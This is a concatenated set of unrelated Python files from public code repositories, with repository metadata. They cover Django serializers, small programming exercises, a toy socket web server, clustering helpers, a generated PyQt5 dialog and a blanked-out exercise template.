[ "MIT" ]

permissive

Langat05/Awards

19f6a627861b7e54ebef705d804e121957185baa

df8f3f9ca1b7cbae1d88f3a3531a02a81b82186d

refs/heads/master

2023-01-05T20:20:58.369698

2020-10-27T14:05:55

306,889,072

2

0

null

UTF-8

Python

false

405

py

from rest_framework import serializers from .models import * class ProjectSerializer(serializers.ModelSerializer): class Meta: model = Projects fields = ['title', 'description', 'image', 'author', 'created_date', 'author_profile', 'link'] class ProfileSerializer(serializers.ModelSerializer): class Meta: model = Profile fields = ['user', 'image', 'bio']

[ "justuslangat78@gmail.com" ]

justuslangat78@gmail.com

b2b28a96fe3b8e65d34f0ef57de0e797013b889c

b873ea1def0810f67834bf4926901b9a8fead362

/tuples_and_sets_09_21/students_grades.py

2d987e90a25cbc6088cc5ead764ea9d1a0c51cd1

[]

no_license

NikiDimov/SoftUni-Python-Advanced

20f822614fa0fa7de6ded3956fa8d40d589a4a86

d6c1fe886a3c27c82f03e5e4a6c670f0905d54e6

refs/heads/main

2023-08-23T17:42:32.063057

2021-10-25T10:32:03

328,750,268

0

null

UTF-8

Python

false

387

py

N = int(input()) dict_of_students = {} for _ in range(N): student, grade = input().split() grade = float(grade) if student not in dict_of_students: dict_of_students[student] = [] dict_of_students[student].append(grade) for key, value in dict_of_students.items(): print(f"{key} -> {' '.join([f'{el:.2f}'for el in value])} (avg: {sum(value)/len(value):.2f})")

[ "niki.dimov86@gmail.com" ]

niki.dimov86@gmail.com

6735465791531aeeabc1ba1331fb80c55ae2c8f7

cd4676555fc1066b5a84320ebbb1d4623066380d

/crusoe_observe/flowmon-rest-client/flowmonclient/resources/ads/Filters.py

3bb92373672eb9ac13be90dde634a9a6f25fedd0

[ "MIT" ]

permissive

wumingruiye/CRUSOE

3ca542fa5362caf404593acfc4b01eb8f9b4d5f4

73e4ac0ced6c3ac46d24ac5c3feb01a1e88bd36b

refs/heads/main

2023-07-01T21:40:09.538245

2021-08-05T14:07:03

null

0

null

UTF-8

Python

false

171

py

class Filters: def __init__(self, client): self.client = client def all(self): resource = "/filters" return self.client.get(resource)

[ "spaceks@ics.muni.cz" ]

spaceks@ics.muni.cz

d6e677ac1447f8278ddff36b140132e55441832c

4abd8812b5e13906ef5b93397548e71655e7fde3

/WebFrame.py

3c049b2484390aba2807bb3f2fef1e7be2b6f50d

[]

no_license

HMmelody/AID1808

6b06f09308c7b3ba7cb80367d4b4a2568bf93691

c8893e45f5496a5fbcdd1db43f88b0df53290e52

refs/heads/master

2020-04-04T18:17:20.444824

2018-11-06T03:55:22

156,157,644

0

null

UTF-8

Python

false

1,817

py

# coding=utf-8 ''' 模拟框架程序部分 ''' from socket import * from views import * frame_ip = '127.0.0.1' frame_port = 8080 frame_address = (frame_ip,frame_port) # 静态网页位置 STATIC_DIR = './static' # url决定我们能处理什么数据 urls = [('/time',show_time),('/hello',say_hello),('/bye',say_bye)] # 应用类,将功能封装在类中 class Application(object): def __init__(self): self.sockfd = socket() self.sockfd.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) self.sockfd.bind(frame_address) def start(self): self.sockfd.listen(5) print("Listen the port 8080") while True: connfd,addr = self.sockfd.accept() method = connfd.recv(128).decode() path_info = connfd.recv(1024).decode() self.handle(connfd,method,path_info) def handle(self,connfd,method,path_info): if method == 'GET': if path_info == '/' or path_info[-5:] == '.html': response = self.get_html(path_info) else: response = self.get_data(path_info) elif method == 'POST': pass connfd.send(response.encode()) connfd.close() def get_html(self,path_info): if path_info == '/': get_file = STATIC_DIR + '/index.html' else: get_file = STATIC_DIR + path_info try: fd = open(get_file) except IOError: response = "404" else: response = fd.read() finally: return response def get_data(self,path_info): for url,func in urls: if path_info == url: return func() return '404' if __name__=='__main__': app = Application() app.start() # 启动框架应用程序

[ "tarena@tedu.cn" ]

tarena@tedu.cn

3fb2b2cb9ec1a2718bd91fb9ee318afc55f997c6

51d46cf862654d30f5fa0ee35a9243c9661fc0eb

/User_/user_custom/user_custom/wsgi.py

c4912256bea59c34b54c8253916ca4ef2ffa19cc

[]

no_license

LikeLionCBNU/HamDongHo

6762a8db487ae2807d1ce9d4d2df7e18d67eab70

082cea62cf4b5136309cbddc8c09e4e84f25de7c

refs/heads/master

2022-12-06T22:48:17.500207

2020-08-19T14:31:32

256,194,835

0

null

UTF-8

Python

false

399

py

""" WSGI config for user_custom project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'user_custom.settings') application = get_wsgi_application()

[ "ii8858@naver.com" ]

ii8858@naver.com

f98ec6b74f00596af6fcf03d9e58cc0dd42de5a5

296756045df29db632141dda85034fca35213c92

/D3_4615_재미있는오셸로게임.py

23a924a8a5dd7ae3b09b95e5d7b3b37e34338aa0

[]

no_license

dabini/SWEA

8b1b321a2126a41f0786e7212eb81ea0204716b6

4b61d34a4b089699a5594b4c43781a6f1dd2235e

refs/heads/master

2022-12-24T02:36:01.169672

2020-09-27T11:56:13

236,012,382

0

null

UTF-8

Python

false

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T = int(input()) for t in range(T): N, M = map(int, input().split()) # 보드의 한 변의 길이 N과 플레이어가 돌을 놓는 횟수 M field = [[0]*(N+1) for _ in range(N+1)] for j in range(N//2, N//2+2): #기본 설정 for i in range(N//2, N//2+2): if i == j: #색이 1이면 흑돌, 2이면 백돌 field[j][i] = 2 else: field[j][i] = 1 dx = [1, -1, 0, 0, 1, -1, 1, -1] #대각선까지 포함 dy = [0, 0, 1, -1, 1, -1, -1, 1] for m in range(M): X, Y, color = map(int, input().split()) field[Y][X] = color for d in range(8): check = True for k in range(1, N): if 1 <= Y+(dy[d]*k) < N+1 and 1<=X+(dx[d]*k)< N+1 and field[Y+(dy[d]*k)][X+(dx[d]*k)] == color: for f in range(1, k): if field[Y+dy[d]*f][X+dx[d]*f] == 0: check = False break if check == False: break if check: for f in range(1, k): field[Y+dy[d]*f][X+dx[d]*f] = color break Bcnt = 0 Wcnt = 0 for l in range(1, N+1): for q in range(1, N+1): if field[l][q] == 1: #흑돌 Bcnt += 1 elif field[l][q] == 2: #백돌 Wcnt += 1 print("#{} {} {}".format(t+1, Bcnt, Wcnt))

[ "jdb960211@gmail.com" ]

jdb960211@gmail.com

ec46f3d025b4c8f9a1a28ec7a4e09265e6806c5f

1b3c73cfd2c183861942d821b5f7b87cfde05687

/Clustering.py

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no_license

Cheereus/MathModel2020

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refs/heads/master

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import numpy as np from sklearn.cluster import KMeans, AgglomerativeClustering from sklearn.neighbors import KNeighborsClassifier from scipy.cluster.hierarchy import dendrogram, linkage, fcluster import matplotlib.pyplot as plt def k_means(X, k): k_m_model = KMeans(n_clusters=k, max_iter=300, n_init=40, init='k-means++', n_jobs=-1) k_m_model.fit(X) return k_m_model.labels_.tolist() def knn(X, y, k): knn_model = KNeighborsClassifier(n_neighbors=k) knn_model.fit(X, y) return knn_model def hca(X, k=None): hca_model = linkage(X, 'ward') return hca_model # dendogram for hca def hca_dendrogram(model): plt.figure(figsize=(50, 10)) dendrogram(model, leaf_rotation=90., leaf_font_size=8) plt.show() # labels of hca def hca_labels(model, n_clusters): labels = fcluster(model, n_clusters, criterion='maxclust') return labels

[ "fanwei1995@hotmail.com" ]

fanwei1995@hotmail.com

425fec3232c22560f10257179343fe677eb7810a

94f304cb4c2ac2ad6ff1ee39725f46254c8838bc

/core/info/Ui_script.py

39b68de152e2eba395e13f524ec2b484d241ef11

[]

no_license

kmolLin/python3_solve_dynamic

105bd70edaa5014e0ad76a9a3c66e43dc0fa5ad7

18f56e6958dd1816dfb7c26f4857aa3b41de9312

refs/heads/master

2021-06-03T10:19:44.551240

2016-09-23T13:22:52

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# -*- coding: utf-8 -*- # Form implementation generated from reading ui file '/home/ahshoe/Desktop/Pyslvs/core/info/script.ui' # # Created by: PyQt5 UI code generator 5.7 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Info_Dialog(object): def setupUi(self, Info_Dialog): Info_Dialog.setObjectName("Info_Dialog") Info_Dialog.setEnabled(True) Info_Dialog.resize(408, 485) Info_Dialog.setMinimumSize(QtCore.QSize(246, 346)) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(":/icons/edges.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) Info_Dialog.setWindowIcon(icon) Info_Dialog.setAutoFillBackground(True) Info_Dialog.setSizeGripEnabled(True) Info_Dialog.setModal(True) self.verticalLayout = QtWidgets.QVBoxLayout(Info_Dialog) self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.label = QtWidgets.QLabel(Info_Dialog) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setText("") self.label.setPixmap(QtGui.QPixmap(":/icons/main.png")) self.label.setObjectName("label") self.horizontalLayout_2.addWidget(self.label) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem) self.copy = QtWidgets.QPushButton(Info_Dialog) self.copy.setContextMenuPolicy(QtCore.Qt.NoContextMenu) self.copy.setAutoDefault(False) self.copy.setObjectName("copy") self.horizontalLayout_2.addWidget(self.copy) self.save = QtWidgets.QPushButton(Info_Dialog) self.save.setAutoDefault(False) self.save.setObjectName("save") self.horizontalLayout_2.addWidget(self.save) self.verticalLayout.addLayout(self.horizontalLayout_2) self.script = QtWidgets.QTextBrowser(Info_Dialog) self.script.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded) self.script.setObjectName("script") self.verticalLayout.addWidget(self.script) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem1) self.buttonBox = QtWidgets.QDialogButtonBox(Info_Dialog) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.buttonBox.sizePolicy().hasHeightForWidth()) self.buttonBox.setSizePolicy(sizePolicy) self.buttonBox.setOrientation(QtCore.Qt.Horizontal) self.buttonBox.setStandardButtons(QtWidgets.QDialogButtonBox.Close|QtWidgets.QDialogButtonBox.Help) self.buttonBox.setObjectName("buttonBox") self.horizontalLayout.addWidget(self.buttonBox) self.verticalLayout.addLayout(self.horizontalLayout) self.retranslateUi(Info_Dialog) self.buttonBox.rejected.connect(Info_Dialog.reject) QtCore.QMetaObject.connectSlotsByName(Info_Dialog) def retranslateUi(self, Info_Dialog): _translate = QtCore.QCoreApplication.translate Info_Dialog.setWindowTitle(_translate("Info_Dialog", "Python Script")) self.label.setWhatsThis(_translate("Info_Dialog", "Pyslvs Icon!")) self.copy.setText(_translate("Info_Dialog", "Copy")) self.save.setText(_translate("Info_Dialog", "Save as...")) self.buttonBox.setWhatsThis(_translate("Info_Dialog", "Click to exit")) import icons_rc if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) Info_Dialog = QtWidgets.QDialog() ui = Ui_Info_Dialog() ui.setupUi(Info_Dialog) Info_Dialog.show() sys.exit(app.exec_())

[ "smpss91341@gmail.com" ]

smpss91341@gmail.com

21c56687f092c048fd987093b694fa1b9cdba953

e23a4f57ce5474d468258e5e63b9e23fb6011188

/110_concurrency_parallelism/_exercises/templates/Mastering Concurrency in Python/Chapter10/example3.py

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[]

no_license

syurskyi/Python_Topics

52851ecce000cb751a3b986408efe32f0b4c0835

be331826b490b73f0a176e6abed86ef68ff2dd2b

refs/heads/master

2023-06-08T19:29:16.214395

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2023-02-16T03:08:10

2019-11-09T02:58:47

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# # ch9/example1.py # # ____ ma__ ______ sqrt # ____ t_i_ ______ d_t_ __ timer # # ___ is_prime x # print('Processing @...' ? # # __ ? < 2 # print('@ is not a prime number.' ? # # ____ ? __ 2 # print('@ is a prime number.' ? # # ____ ? % 2 __ 0 # print('@ is not a prime number.' ? # # ____ # limit _ __. sq.. ? + 1 # ___ i __ ra.. 3 ? 2 # __ ? % ? __ 0 # print('@ is not a prime number.' ? # r_ # # print('@ is a prime number.' ? # # __ _______ __ _______ # # start _ ti.. # ? 9637529763296797) # ? 427920331) # ? 157) # print('Took @.2_ seconds.' t.. - s..

[ "sergejyurskyj@yahoo.com" ]

sergejyurskyj@yahoo.com